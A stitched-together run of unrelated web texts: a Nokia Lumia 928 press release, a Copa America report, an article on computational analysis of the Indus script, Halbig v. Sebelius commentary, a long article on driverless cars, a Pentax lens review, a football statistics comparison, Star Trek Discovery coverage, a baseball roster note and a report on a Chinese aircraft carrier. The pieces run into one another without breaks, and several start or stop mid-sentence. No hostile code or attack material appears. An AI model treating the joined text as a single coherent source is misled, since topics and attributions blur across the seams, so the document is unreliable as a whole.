The Nokia Lumia 928 includes access to signature Lumia apps including the complete set of the feature-rich, intuitive and customizable HERE experiences. HERE Maps, HERE Drive+, HERE Transit** and HERE City Lens help people navigate their life every day. Using Nokia Music with Mix Radio, people can enjoy unlimited streaming of free music playlists with the option to create personal playlists and download for listening offline. Digital camera lenses and apps, including Smart Shoot, Cinemagraph, Panorama, and Photobeamer**, enable people to unleash their creativity.
The Nokia Lumia 928 also comes with built-in wireless charging; just lay it down to power-up, it's that easy.
Powered by Windows Phone 8
Windows Phone 8 offers a truly personal smartphone experience, with an iconic Start screen that can be easily arranged to reflect individual priorities and animated Live Tiles for real-time updates on the people and things that matter most. With the same modern look and feel, Windows Phone 8 is built to work seamlessly with Windows PCs and tablets, Microsoft Surface devices and the Xbox 360 console so that files, music, pictures and videos can be accessed in whichever way is most convenient. The Windows Phone Store features more than 145,000 apps for customers to choose from, with hundreds added every day. Getting things done while on-the-go is easy with Internet Explorer 10 for faster, safer browsing and Microsoft Office Mobile integration.
Availability
The Nokia Lumia 928 is available for purchase in white or black at Verizon Wireless stores and online beginning Thursday, May 16 for USD99 after a USD50 mail-in rebate, with a new two-year customer agreement. For a limited time, get a USD25 credit for Windows Phone apps and games with the purchase of a Nokia Lumia 928.*
Also available through Verizon Wireless is a range of Nokia wireless charging accessories to keep you conveniently charged at home, at work or in the destinations in between. The accessories include: the JBL PowerUp Wireless Charging Speaker for Nokia, Nokia Wireless Charging Plate DT-900 and the Nokia Wireless Charging Pillow by Fatboy DT-901.
Nokia Lumia 928 product specifications:
Display: 4.5 inch WXGA HD OLED; Resolution 1280 x 768, Aspect Ratio 15:9, Pixel Density 334 ppi; ClearBlack display, Sunlight Readability Enhancement (SRE), High Brightness Mode (HBM); Luminance 300 nits (nominal max), 500 nits (High Brightness Mode); Color depth 24 bit, 16M colors, refresh rate 60Hz; Super-sensitive capacitive touch enables interacting with the display with gloves and long fingernails; Display active area: 58.37 mm x 97.28 mm; 2.5D Corning® Gorilla® Glass 2
Battery: Integrated 2000mAh battery, Li-po, BV 4-NW
Processor:1.5GHz dual core, Qualcomm MSM8960+WTR
Main Camera: PureView 8.7MP Auto Focus with Carl Zeiss Tessar f/2.0, 26mm True 16:9 optics, 1.4 sensor; Optical Image stabilization; Xenon Flash for Still Images, 1.4 sensor; Optical Image stabilization; Xenon Flash for Still Images; LED for Video; HD 1080p Video Capture @ 30 fps
Front facing camera: 720p HD video and 1.2MP still images
Memory: 1 GB RAM; 32GB internal memory (formatted capacity is less); 7GB free in SkyDrive with additional storage via subscriptionParaguay repeated their 2011 Copa America penalty shootout win over Brazil to set up a semi-final meeting with Argentina.
Former Manchester City striker Robinho scored on his 99th appearance to give Brazil a 15th-minute lead as he tucked away a Dani Alves cross.
But Thiago Silva's second-half handball allowed Derlis Gonzalez to equalise from the spot and force the shootout.
Brazil then missed two attempts and went out as Gonzalez again converted.
The defeat curtailed Brazil's revival under Dunga following their 7-1 semi-final defeat by Germany in last summer's World Cup finals in |
atical structure."
Rao's team used pattern-analyzing software running what's known as a
Markov model, a computational tool used to map system dynamics.
They fed the program sequences of four spoken languages: ancient
Sumerian, Sanskrit and Old Tamil, as well as modern English. Then they gave it samples of four non-spoken communication systems: human DNA,
Fortran, bacterial protein sequences and an artificial language.
The program calculated the level of order present in each language.
Non-spoken languages were either highly ordered, with symbols and structures following each other in unvarying ways, or utterly chaotic.
Spoken languages fell in the middle.
When they seeded the program with fragments of Indus script, it returned with grammatical rules based on patterns of symbol arrangement. These proved to be moderately ordered, just like spoken languages.
As for the meaning of the script, the program remained silent.
"It's a useful paper," said University of Helsinki archaeologist
Asko Parpola, an authority on Indus scripts, "but it doesn't really further our understanding of the script."
Parpola said the primary obstacle confronting decipherers of fragmentary Indus scripts — the difficulty of testing their hypotheses
— remains unchanged.
But according to Rao, this early analysis provides a foundation for a more comprehensive understanding of Indus script grammar, and ultimately its meaning.
"The next step is to create a grammar from the data that we have,"
he said. "Then we can ask, is this grammar similar to those of the
Sanskrit or Indo-European or Dravidian languages? This will give us a language to compare it to."
"It's only recently that archaeologists have started to apply computational approaches in a rigid manner," said Rao. "The time is ripe."
*Citation: "Entropic Evidence for Linguistic Structure in the Indus
Script." By Rajesh P. N. Rao, Nisha Yadav, Mayank N. Vahia, Hrishikesh
Joglekar, R. Adhikari and Iravatham Mahadevan. Science, Vol. 324 Issue
5926, April 24, 2009. *
Image: J.M. Kenoyer/Harappa.com
See Also:
Brandon Keim's Twitter stream and Del.icio.us feed; Wired Science on Facebook.The arguments on Obamacare’s contraception mandate weren’t the only heard about the law on Tuesday. The D.C. Circuit Court of Appeals heard arguments in another case yesterday, Halbig v. Sebelius, that could bring down Obamacare.
At issue is whether the Obama administration can legally provide tax subsidies to residents of states that haven’t established exchanges. This is a scenario that lawmakers didn’t anticipate. They didn’t expect state resistance to the law, and didn’t foresee the creation of a federal exchange.
A reading of the statutes in question (§1311 and §1321) confirms that the subsidies were meant to apply only to states with an established exchange, but the Internal Revenue Service illegally wrote rules to apply the subsidies to apply to the federal exchange as well.
Based on reports from those who witness oral arguments in the Halbig case yesterday, the challenge may well prove successful, at least temporarily:
Judge A. Raymond Randolph indicated he felt the statute was quite clear in repeating “seven times” in that section that the subsidies are available only “through an Exchange established by the State.” He indicated that it “is not up to the courts to fix” a problem that Congress may have created for itself. (Nor, we might add, is it up to the IRS to rewrite the statute in its regulatory interpretation.) There was a great deal of discussion about legislative intent, with Judge Harry T. Edwards seeming to side with the government in saying that the overall intent of the statue to deliver subsidies should prevail.
[…]
The case will likely then hinge on how Judge Thomas B. Griffith votes. It is impossible to determine how a judge will vote based upon oral arguments, but his questions seemed more skeptical of the government’s arguments than the plaintiff’s. Judge Griffith seemed particularly interested in the legislative history of the provision, which is ambiguous, and said that without clarity, the government has a special burden to show why the statutory language should not prevail.
The legislative history of the law is an important part of the argument. While Judge Edwards may be so willing to cast aside the challenge — which, by the way, isn’t looking to strike down the statues, but rather seek enforcement as written — it’s clear that the language, as Philip Klein explains, was put in place to ensure passage:
Michael Carvin, a veteran of the 2012 health care case that went to the Supreme Court, in representing the challengers, argued that Congress intentionally limited subsidies to state-based exchanges as an incentive for states to set up their own exchanges. In other words, governors who didn’t set up exchanges would be facing pressure by residents who wouldn’t have access to hundreds of billions of dollars in federal subsidies. Edwards ripped into Carvin, explaining that he had gone through the legislative history thoroughly and hadn’t found evidence that Congress intended for subsidies to be limited to states that created their own exchanges. He said the idea that limiting the subsidies was meant as an incentive “seems preposterous,” adding, “no one understood what you’re arguing now at the time the bill was being passed.”
[…]
The judge prodded Carvin to explain why Congress saw it as such an advantage to have states rather than the federal government manage the exchanges. “Why does it matter who establishes the exchanges?” he asked. “Your argument makes no sense.” He said, “Who cares?” At that point, Randolph jumped in and said, “Ben Nelson.” Carvin agreed, arguing that Nelson, the former senator from Nebraska, was withholding support for Obamacare, in part, because he wanted exchanges to be state-based rather than federally-run. To get the law across the finish line, the Senate voted to make exchanges state-based, with the powerful inducement of generous subsidies.
And it wasn’t just Nelson. The law, including the statutes in question, was approved by Congress, albeit on a party-line vote. It’s an irrelevant question to consider the effect of enforcing the statutes as written. The court should consider the case on its merits and leave it either to Congress to fix or governors/legislatures to create state-based exchanges.
In total, just 17 states have opted to create their own exchanges, including the District of Columbia, while five states have partnerships with the federal government. If federal courts rule to enforce the law as written, it would effectively end subsidies to those who’ve qualified through the federal exchange, undermining one of the main premises of the law.
Klein says “it’s time for the White House to start sweating over a lawsuit that up until now has flown relatively below the radar.” He’s probably right. Whether the Halbig case, which one of three challenging enforcement of the statutes, is successful or not, it seems likely that it’s headed to the Supreme Court.IN AN average month 108,000 people are killed in traffic accidents around the world, and the death toll is increasing. On current trends it will exceed 150,000 people a month by 2020, according to the World Health Organisation, as cars become more widespread in developing countries, increasing the number of vehicles on the world’s roads from around 1 billion in 2010 to 2 billion. Many lives will be spared by outfitting more vehicles with airbags, the biggest lifesavers in car technology since seat belts. But now a far greater revolution in road safety is within reach. Around 90% of accidents are caused by human error. Design vehicles so that they can drive themselves, goes the theory, and death tolls will plummet.
Driverless cars would provide further benefits beyond safety. They could co-ordinate their routes and travel in close formation, increasing the capacity of road networks, reducing congestion and saving fuel. They would be able to drop someone off and then go and park themselves. They might even usher in an era of widespread car-sharing, with vehicles dispatched on demand to people who need them, rather than spending most of the day sitting idle by the side of the road. And they would, of course, do away with the stress of driving, allowing their occupants to read, browse the internet or take a nap. It may sound like science fiction, but much of the technology needed to turn ordinary vehicles into self-driving ones already exists. Indeed, almost all carmakers are developing sensors, control systems and other equipment that turns cars, in effect, into autonomous robots. Prototypes are on the roads today.
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Thilo Koslowski, an analyst at Gartner, a market-research firm, predicts that such vehicles will be on sale within eight years. Erik Coelingh, a senior engineer for “driver support” systems at Volvo, a Swedish carmaker, reckons it will take at least ten. However long it takes, the transition will be gradual. Before fully autonomous vehicles arrive, humans will remain behind the wheel, gradually handing off more and more of the job of driving to an autopilot. Owners of cars with advanced driver-assistance features have already embarked on this transition.
Just around the corner
Since the late 1990s some cars have had the option of “adaptive” cruise control that uses a radar system to monitor the position of the car in front, and accelerates or brakes automatically. General Motors, America’s biggest carmaker, is designing a “super cruise” option that steers automatically in slow traffic, following lane markers and avoiding other vehicles, says Jeremy Salinger of GM, who heads the team developing the technology. Ford, America’s second-largest carmaker, is developing something similar called Traffic Jam Assist. BMW plans to launch a compact electric car, the i3, that can do this trick next year. It will cost less than €40,000 ($50,000), says Ralph Huber of BMW.
Autonomous driving in slow traffic is a logical combination of adaptive cruise-control and the lane-keeping systems, already available in some vehicles, which either warn the driver if the car starts to drift out of lane, or apply corrective steering to keep it in lane. In addition, a growing number of car models have the option of self-parking systems. The job of the driver is, in short, slowly being chipped away. The industry will build fully autonomous cars, says Mr Salinger.
The addition of autonomous control need not add much to the cost. An extra $3,000 or so should cover it, Mr Coelingh believes. And there is evidence that drivers are prepared to pay for add-ons that improve safety as well as convenience. Volvo already sells a popular driver-assistance option called City Safety for around $2,000, for example. It slams on the brakes if a distance-measuring laser or camera detects a vehicle or pedestrian in the car’s path. City Safety can prevent collisions completely at speeds of up to 30kph (18mph), and at higher speeds it softens the impact. A similar braking system on Mercedes-Benz vehicles has reduced insurance claims for bodily injury by roughly a sixth, according to the Highway Loss Data Institute, an American research group.
As adaptive cruise controls, self-parking options and automated-braking systems gradually become more capable and widespread, it is not a big leap to full autonomous control. Prototypes are starting to move off test tracks and onto real roads. Last year BMW sent a robotic car at motorway speeds from Munich, the German carmaker’s hometown, to Nuremberg, about 170km to the north. (A professional driver sat behind the wheel just in case.) Audi, part of the Volkswagen Group, caused a stir two years ago when it sent a self-driving TTS Coupe through 156 tight curves along nearly 20km of paved and dirt road on Colorado’s Pikes Peak, with nobody behind the wheel. Modified with help from roboticists at Stanford University, the car travelled about as fast as one driven by an average driver. Peter Oel, head of Volkswagen’s Silicon Valley Electronics Research Lab, says his team even programmed the car, named Shelley, to skid its rear tyres on tight corners, a trick known as “drifting”. (The same car recently drove itself at 190kph on a racetrack.)
Getting a car to drive along an open road without crashing into other vehicles is one thing. Getting it to handle a complete journey on its own—including navigating junctions and roundabouts, responding appropriately at pedestrian crossings and avoiding obstacles on the road—is rather more difficult. To build such a machine costs around $1m for the car, kit, software, and brainpower, says Jonathan Sprinkle, co-leader of an American-Australian team that entered a driverless vehicle in the 2007 DARPA Urban Challenge, a robotic-car contest sponsored by the research arm of the American Department of Defence. Because modern engines, drivetrains, and brakes already receive their instructions via electronic signals, there is surprisingly little need for additional mechanical parts.
What is needed, however, is an array of extra sensors to make cars more aware of their surroundings. Mapping nearby features, spotting road edges and lane markings, reading signs and traffic lights and identifying pedestrians is done using a combination of cameras, radar and lidar (which works like radar, but with pulses of light rather than radio waves). Ultrasonic detectors provide more accurate mapping of the surroundings at short range, for example when parking. Gyroscopes, accelerometers and altimeters provide more accurate positioning than is possible using global-positioning system (GPS) satellites alone. All this can cost $200,000 for an experimental car, says Dr Sprinkle.
Google spent roughly that much fitting out each of the dozen or so robotic vehicles it has built by modifying American, German and Japanese cars. Eventually, fewer and cheaper sensors should do the trick, but Google and other researchers are still working out how to combine readings from multiple sensors, and determining which sensors work best in conditions such as night driving or heavy rain. So far the internet giant’s fleet has collectively clocked up nearly 500,000km under autonomous control, on both test tracks and public roads, including San Francisco’s Lombard Street, one of America’s steepest and most twisty roadways.
Teaching computers to drive
Once the sensors and activators are in place, building a driverless car is essentially a software problem. Google’s approach involves driving a route manually, with all the sensors switched on, to build a detailed 3D map of features such as signs, guard-rails and overpasses, says Anthony Levandowski, project leader for Google’s self-driving cars. Then, when the autonomous-driving mode is switched on (accompanied by a spaceship sound-effect), the software can predict hazards with reasonable accuracy. A shaded bridge in a damp valley, for example, may be icy until noon if the night-time temperature drops below a certain point. Each time a car follows a particular route, it collects more data. Google’s software also ingests data on speed limits and recorded accidents. Because the car’s roof-mounted sensors can see in all directions, it arguably has greater situational awareness than a human driver.
One area where humans are still clearly superior, however, is in judging an object’s material or weight. Unable to tell the difference between a chunk of mattress and a block of steel on the carriageway, a self-driving vehicle might brake harder than would be wise, says Sebastian Thrun, a Stanford University roboticist who led the development of Google’s driverless cars. Similarly, a carpet of leaves or snow might lead a robotic car to miscalculate the position of the road’s edge.
But as driverless cars clock up more miles, solutions are being worked out. To evaluate the danger posed by an object on the road, Google’s software takes into account the behaviour of other vehicles. If other cars do not swerve or brake to avoid it, it is more likely to be a plastic bag than a rock. “Fusing” data from various types of sensors can also remove uncertainty. To judge distances, for example, radar or lidar sensors in the front bumpers can be supplemented by video cameras. Infra-red sensors can pick up the heat signature of a human obscured by fog.
It is even possible to make judgments about the mental or physical state of other drivers. Software developed by Probayes, a firm based near Grenoble, in France, identifies and then steers clear of drivers who are angry, drowsy, tipsy or aggressive. Upset drivers tend to speed up and brake quickly. Sleepy drivers tend to drift off course gradually and veer back sharply. Drunk drivers struggle to keep a straight line. The firm sells its software to Toyota, Japan’s car giant. Google’s cars have even been programmed to behave appropriately at junctions such as four-way stops, edging forward cautiously to signal their intentions and stopping quickly if another driver moves out of turn.
So far Google’s vehicles have not been involved in a single accident while under computer control; although a Google car crashed into the back of another car in 2011, it was being driven by a human at the time. The company says its cars have yet to master snow-covered roads, or reading temporary signs and signals around roadworks. A telling sign of progress, however, is that Google researchers have recently started using the cars solo, rather than in pairs. This lets individual researchers commute to work in their autonomous cars.
The road ahead
Autonomous vehicles for individuals may still be a few years away, but they are already being used in industry. Late last year Rio Tinto, an Anglo-Australian mining giant, decided to increase its fleet of self-driving trucks, which haul iron ore, from ten to 150 vehicles within four years. Manufactured by a subsidiary of Komatsu, a Japanese firm, each truck is the size of a three-storey house and uses satellite positioning to carry nearly 300 tonnes of ore along predefined routes. An accident, then, could be very nasty indeed. But James Petty, head of Rio Tinto’s robotic-trucks programme, says the trucks’ emergency-braking and evasive-action systems have not been triggered once since the technology was introduced in 2008.
One reason is that as well as using the usual plethora of sensors, the trucks inform each other of their position and speed using “vehicle to vehicle” (V2V) wireless links, so that they can, for example, co-ordinate their actions at junctions. Human truck-drivers, by contrast, regularly have to take evasive action. They also demand salaries of around A$100,000 ($100,000) to work in the remote Pilbara region of Western Australia.
“Driverless vehicles could transform car design, redefine car ownership and affect urban planning.”
Initially, driverless vehicles will be in a minority, but eventually it may make sense to redesign road networks around them. Using V2V communication, for example, driverless cars approaching a junction could co-ordinate their movements to keep traffic flowing smoothly, rather than having to stop and take turns. Traffic lights and road signs would no longer be needed. V2V would also allow vehicles to travel together in platoons or “road trains”, making more efficient use of road capacity.
A consortium of European companies has tested five-vehicle platoons in which the lead vehicle is controlled by a human driver and the other four travel close behind it under autonomous control. Trials including a 200km trip on a motorway near Barcelona in May have found that platooning cuts fuel consumption by about 15%, because each vehicle (apart from the lead vehicle) travels in the slipstream of the one in front. Passengers find the proximity unnerving at first, but they quickly get used to it, says Eric Chan of Ricardo, the British technology firm leading the project.
Clearly, a shift towards driverless cars would completely transform the experience of road travel. But there would be further knock-on effects beyond the car itself. Self-driving vehicles would keep the growing numbers of elderly people in ageing societies mobile for longer, for example. The design of cars would undoubtedly change: if the controls are rarely needed, steering wheels and pedals will vanish, and cars will be built instead for comfort, perhaps with a PlayStation-like controller that pops out on the rare occasions when manual control is needed.
The nature of car ownership could be transformed. Why own a car outright if you can rent or share more cheaply, summoning a nearby vehicle with your smartphone? You could be picked up by a vehicle while its owner works or sleeps, says Sebastian Ballweg, co-founder of Autonetzer, a German “car-sharing” broker of hourly or daily rentals between private individuals. Some people regard their choice of car as an important means of social signalling, but fractional or shared ownership might be cheaper and more convenient.
The shape of things to come
The rise of driverless cars would also affect the planning and layout of cities. Assuming that autonomous vehicles make journeys quicker and use road space more efficiently, how should planners exploit the benefits of automation? On the one hand it would allow cities to get bigger, by reducing the time and stress associated with commuting. On the other, it could allow cities to become denser, by reducing the amount of space that needs to be dedicated to roads and parking. Alternatively, space allocated to roads in city centres could be used for bike lanes or parks.
If driverless vehicles are to become commonplace, several problems must be solved, aside from working out how to build them in the first place. Appropriate regulation will be needed to ensure safety and reassure other road users. In America, Nevada has taken the lead in this regard. In May the state’s Department of Motor Vehicles (DMV), based in Carson City, issued its first three autonomous-vehicle licences to Google. Applications from two other firms are expected soon. Licences are issued on condition that applicants post a $1m bond. This is intended to prevent tinkerers from “building a little project in their garage and jumping on the road” and causing an accident, says Bruce Breslow, the head of Nevada’s DMV. The state also requires that robotic vehicles have “black boxes” that store the previous 30 seconds of camera footage and sensor data to establish who, or what, is at fault in the event of an accident. Other states are passing similar laws.
There are additional worries. Vehicle-control software remains “fairly hackable”, says David Zuby, chief researcher at the Insurance Institute for Highway Safety, an American industry body. Unless protocols for vehicle-to-vehicle communication are robust and secure, attackers could cause chaos by making cars crash into each other. John Simpson, a privacy advocate at Consumer Watchdog, a California lobby group, is concerned that Google is not so much teaching computers to drive as it is pioneering a nightmarish form of advertising. Google might be tempted, for a fee, to favour routes that lead past its advertisers. He presented his case in June in testimony to the transportation committee of California’s state assembly.
And although driverless cars can be expected to reduce the number of accidents and road deaths, they will not eliminate them altogether. It is only a matter of time before the maker of an autonomous vehicle is sued for unleashing a killer robot, says Michael Toscano, head of the Association for Unmanned Vehicle Systems International, an industry body in Arlington, Virginia. But if self-driving cars really are safer than cars driven by humans, the law could work in their favour, too. Some cities might ban manual driving, to save lives and ease congestion. There is no doubt that self-driving cars are coming. It is less clear where they will take us.Pentax DA* 16-50mm f/2.8ED AL [IF] SDM Handling and Features
Pentax DA* 16-50mm f/2.8ED AL [IF] SDM Performance
MTF@16mm
MTF@28mm
MTF@50mm How to read our charts The blue column represents readings from the centre of the picture frame at the various apertures and the green is from the edges. Averaging them out gives the red weighted column.
The scale on the left side is an indication of actual image resolution. The taller the column, the better the lens performance. Simple.
For this review, the lens was tested on a Pentax K-5 IIs using Imatest.
CA@16mm
CA@28mm
CA@50mm How to read our charts Chromatic aberration is the lens' inability to focus on the sensor or film all colours of visible light at the same point. Severe chromatic aberration gives a noticeable fringing or a halo effect around sharp edges within the picture. It can be cured in software.
Apochromatic lenses have special lens elements (aspheric, extra-low dispersion etc) to minimize the problem, hence they usually cost more.
For this review, the lens was tested on a Pentax K-5 IIs using Imatest.
Pentax DA* 16-50mm f/2.8ED AL [IF] SDM Sample Photos
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Value For Money
Pentax DA* 16-50mm f/2.8ED AL [IF] SDM Verdict
Pentax DA* 16-50mm f/2.8ED AL [IF] SDM Pros
Pentax DA* 16-50mm f/2.8ED AL [IF] SDM Cons
FEATURES HANDLING PERFORMANCE VALUE FOR MONEY VERDICT
Pentax DA* 16-50mm f/2.8ED AL [IF] SDM Specifications
Manufacturer Pentax General Lens Mounts Pentax K SMC-DA Lens Focal Length 16mm - 50mm Angle of View 32° - 83° Max Aperture f/2.8 Min Aperture f/22 Filter Size 77mm Stabilised No 35mm equivalent No Data Internal focusing No Data Maximum magnification No Data Focusing Min Focus 30cm Construction Blades 9 Elements 15 Groups 12 Box Contents Box Contents No Data Dimensions Weight 565g Height 98.5mm
This 3.1x zoom lens provides an angle of view equivalent to the popular 24-75mm range on a 35mm format camera, when mounted on a Pentax Digital SLR. It sports a fast f/2.8 maximum aperture, which is constant throughout the zoom range, silent focusing and costs around £840. Being a DA* lens, with a gold ring around the lens barrel, it is one of Pentax's premium optics. In this review we'll take a look at how it performs.The build quality of this lens is good with a metal lens bayonet and high quality plastics used for the construction of the lens barrel. A prominent gold ring around the lens barrel signifies this is one of Pentax's premium optics,and it sports a weather and dust resistant construction as a result. The lens isn't overly heavy for an optic with a constant f/2.8 aperture, weighing around 600g and it balances well with the Pentax K-5 IIs body used for testing.Focusing is performed internally, so the lens barrel doesn't extend during focusing and the filter thread does not rotate. This makes it perfect for use with polarising and graduated filters. A petal-shaped hood is supplied with the lens that attaches to the front of the lens via a bayonet fitting.The manual focusing ring doesn't rotate during auto-focus and manual adjustments can be applied at any time. Manual focusing action is quite gritty and not particularly well damped on the sample used for testing. This can make applying manual focus adjustments a little tricky, especially as there is quite a bit of play in the focus ring. Auto focus is powered by a silent motor in the lens, which is quick to lock onto subjects. The minimum focus distance of 30cm is fairly close for a lens of this type and it is close enough to pose no issues when shooting in claustrophobic environments.At 16mm and f/2.8, sharpness in the centre of the frame is already outstanding. Unfortunately the performance of the lens towards the edges of the frame isn't quite as good at maximum aperture, only achieving fairly good levels of clarity. Stopping down improves performance across the frame, with peak sharpness being achieved between f/5.6 and f/8. Here sharpness is outstanding in the centre of the frame and very good towards the edges.Zooming to 28mm, results in reduced sharpness levels in the centre of the frame at maximum aperture, but performance towards the edges of the frame remains similar to 16mm. Again, stopping down to f/5.6 results in the best performance across the frame, with outstanding sharpness in the centre and excellent clarity towards the edges of the frame.Finally at 50mm. Overall sharpness takes a hit at maximum aperture, with good levels of sharpness being achieved in the centre of the frame, but performance towards the edges of the frame can only be considered fair. Stopping down to f/8 results in outstanding sharpness across the frame at this focal length.Chromatic aberrations brought under better control, the more the lens is zoomed in. Fringing is most prominent at 16mm and f/2.8, where it exceeds 1.25 pixel widths towards the edges of the frame. This level of fringing may become apparent in harsh crops from the edges of the frame, or in large prints along high contrast edges.Falloff of illumination is fairly typical for a lens of this range and maximum aperture. At 16mm the corners of the frame are 1.62 stops darker than the image centre and at 50mm the corners are 1.1 stops darker. Visually uniform illumination is achieved with the lens stopped down to f/5.6 or beyond throughout the zoom range.Distortion is fairly noticeable at 16mm. Easing as the lens is zoomed in. Imatest detected 4.11% barrel distortion at 16mm, which is replaced by 0.373% pincushion distortion at 50mm. The distortion pattern is uniform across the frame, which should make it relatively easy to apply corrections in image editing software afterwards if straight lines are paramount.During testing, this lens proved itself quite resistant to flare and contrast levels are retained well, even when shooting into the light. The petal-shaped hood does a decent job of shading the lens from extraneous light that may cause issues.Being priced at around £840, this lens is quite reasonably priced for a manufacturer's own standard zoom with a constant f/2.8 aperture. In fact, this lens is currently £10 cheaper than the recently released Pentax 20-40mm f/2.8-4 Limited lens, which has a narrower zoom range and a variable maximum aperture.Sigma also offer a 17-50mm f/2.8 lens, which costs around £310 in Pentax fit, or Tamron also offer a 17-50mm f/2.8 lens, for around £260. Either lens may be a viable alternative for those on a budget.This lens has a lot going for it, including the silent focusing, weather and dust resistant construction and the constant f/2.8 maximum aperture. It performs really well when stopped down too. Unfortunately, the sharpness delivered at maximum aperture towards the edges of the frame falls short of what you may expect from a premium lens from a camera manufacturer. If, however, you only tend to place your subject in the centre of the frame, this may not affect your photography, unfortunately, for many, this isn't the case.Very good sharpness when stopped downWeather and dust resistant constructionGood build qualitySilent focusingFull time manual focus overrideConstant f/2.8 aperturePerformance towards edges of the frame at maximum apertureHigh CA levels at 16mmGritty and poorly damped manual focusing ring
View Full Product DetailsMichael Carrick has without a doubt been one of the most influential Manchester United players this season. He has been one of the best Defensive mid-fielders in the league. Also been deployed as a central defender on 4 occasions and as a central mid-fielder on 9 occasions, he proved that he can play in those positions as and when the team wants him to. Another player in the Premier League, quite under-rated, that is playing a similar role is Mikel Arteta. After the departure of Alex Song, Mikel Arteta was assigned the job of playing as a Defensive mid-fielder for Arsenal and has done fairly well, justifying the decision of Arséne Wenger. With the help of an in-depth Statistical Comparison, let us try to find out how well the two players have fared in terms of Defending, Keeping Possession, Passing, Crossing, Scoring Goals and Providing Assists
DEFENCE :
Lets take a look at the defensive form of the two players and try to find out who has been better defensively.
From the above table. it is only fair to say that both the players have more or less has equal success defensively. While Arteta has had more tackles, interceptions and won ground and air 50-50s, Carrick has been more successful tackling and halting the opposition teams’ attacks.
POSSESSION AND PASSING / CROSSING :
Let us now see how the two have done in terms of keeping possession of the ball, passing and crossing.
The above table shows that while Michael Carrick has been almost flawless in the Defensive third, Mikel Arteta has done fairly well there and been better in the final third. Critics may say that Arteta has given away the ball quite easily at times in the defensive third and that the contribution of a Defensive mid-fielder in the final third is not an essential attribute, it will only be fair to say that Arteta has made some significant contributions when Arsenal have pressed forward at critical stages throughout the season. There is very little to separate the two players as both have bossed the mid-field for their respective teams in terms of keeping possession, accurate passing and moving the ball forward.
GOALS / ASSISTS:
Finally, we take a look at the contribution of Michael Carrick and Mikel Arteta in terms of goals scored and assists provided.
Here, we can clearly see that while on one hand Michael Carrick has provided more assists, Mikel Arteta has scored 5 more goals, 4 of them coming from the penalty spot. Too close to say who has been better in this regard but I believe that Carrick, courtesy of the chances that he has created is marginally ahead in this comparison.
Overall, I feel that there isn’t much to separate these two highly talented midfielders and I would give them both 7.5/10 on the basis of the comparisons made in terms of Defending, Keeping Possession, Passing, Crossing, Scoring Goals and Providing Assists.
Since his move to Arsenal, Arteta, has gone back to the position of pivot, allowing for the liberation of the other Arsenal midfield players by covering the gaps that appear with intelligent movement and passing. Add to that his pinpoint crossing ability and propensity for the killer pass. Mikel Arteta in my opinion has been a very influential player for the North London club, also leading from the front in the absence of regular captain Thomas Vermaelen. The contribution of Mikel Arteta is not seen to be as important as that of Michael Carrick, mainly because of where the teams are placed in the League Standings. In my opinion, the form and performance of Mikel Arteta will play an important role in whether Arsenal can be more competitive in the league next season and challenge for trophies. If Arsenal can buy a quality defensive mid-fielder in the mould of Alex Song, it may allow Arteta to be more expressive and earn a much-deserved call-up in the Spanish International team.
Please note that comparisons made are strictly made on the basis of Statistics, which does not always represent the actual performances of the players. Some of you may have a different point of view, so feel free to share it with me. Until we meet again, this is me signing off with the hope of seeing another top-class performance from these two players in the remainder of the season.
[box_light]All of the stats from this article have been taken from the Opta Stats Centre at EPLIndex.com – Subscribe Now (Includes author privileges!) Check out our new Top Stats feature on the Stats Centre which allows you to compare all players in the league & read about new additions to the stats centre.[/box_light]“Star Trek: Discovery’s” spectacular new trailer gave fans of the forward-thinking franchise a lot to be excited about: a high production value, an intriguing premise, and a diverse, stellar cast.
Many applauded the show for having strong women of color leads, including Michelle Yeoh as Captain Philippa Georgiou and Sonequa Martin-Green as First Officer Michael Burnham.
But while many welcomed the show’s producers of continuing the Star Trek tradition of promoting diversity, there were a few who criticized its cast, specifically attacking Yeoh for her accent.
There were those, however, who found the decision deserving of praise for keeping the Chinese-Malaysian actress’s natural accent as it further exemplifies how the show values representation.
One netizen perfectly pointed out the hypocrisy of the negative reaction:
According to Swapna Krishna of Blastr.com, Yeoh’s delivery of her line in the trailer made her tear up because she kept her accent. She explained:
“As a young girl of color, Star Trek was the first place I can remember seeing myself represented. Through characters like Uhura, Sulu and Geordi LaForge, I saw people that looked a little like me — that shared the first thing people notice about me, a darker skin color — and for the first time understood that I could achieve anything, even serve on a starship. I, and people who looked like me, existed in this future. It was one of the major forces that shaped my childhood and the adult I have become.”
She further compared her reaction to a Star Wars fan’s viral post on how he felt when his father saw that Diego Luna kept his own accent in “Rogue One: A Star Wars Story”.
“I personally do not speak English with an accent — I have the bland tones of someone born and raised in the Midwest. But my parents, immigrants to this country, speak with an accent, though they’ve lived here the bulk of their lives. All of a sudden, it wasn’t about me anymore. My parents, who share my love for Star Trek (even if they were somewhat skeptical of my fervor for it as a child), now have a place in this universe.“
In a Facebook post, Yeoh confirmed that the choice to use her native accent was actually deliberate.
Whether it was the star’s or the show runners’ idea, it is definitely a decision worthy of appreciation and applause. Not only does it bring authenticity to the character, it further highlights how the franchise has embraced and nurtured diversity in the past decades. Star Trek has not only been breaking box office records, it has been breaking ground as one of the most progressive franchises in television and film history.PHOENIX -- In an interesting development, but not surprising, the Rangers will not extend a contract to outfielder Engel Beltre.
Beltre missed the entire 2014 season after fracturing his right tibia. During a rehab assignment in Arizona, Beltre was shut down after problems with his left leg.
So after refusing an assignment to Triple-A Round Rock, Beltre has elected to test free agency.
"He's |
learned.
Several sources confirmed to USNI News that an unknown shipbuilding project — first noticed publically by Jane’s in late February — is almost without a doubt the bones of the PLAN’s first domestically-built carrier.
Sources pointed USNI News to an April photograph that emerged on the Chinese language Internet of a ship under construction at the Dalian yard believed to be the super structure of the PLAN’s second carrier.
Further late September satellite photographs published by Jane’s last week show a ship that corresponds to the dimensions of the refurbished Kuznetsov-class aircraft carrier Liaoning — a ship with a beam of about 115 feet and a length of 886 feet.
Jane’s stopped short of a definitive determination that the mystery ship at Dalian was a new carrier — the Type 001A — but did compare the construction methodology of the ship to Soviet-era builds on the original Kuznetsov in the 1980s.
The interest to what is in the Dalian dry dock — once the home for Liaoning’s refit after China purchased the carrier — has been a hot topic of conversation for international naval watchers.
One, retired U.S. Navy Capt. Chris Carlson, told USNI News given how quickly the Dalian yard builds commercial ships the timing of construction pointed toward a military platform.
“We’re talking eight months from March when they say the initial sections began going up,” he said on Wednesday.
“If it was commercial ship it would be done already.”
Carlson said the Jane’s photographs indicate the ship is being built without a well deck which would likely rule out a big deck amphibious warship.
“The logical explanation is that it’s a carrier,” he said.
China’s Four Carrier Navy
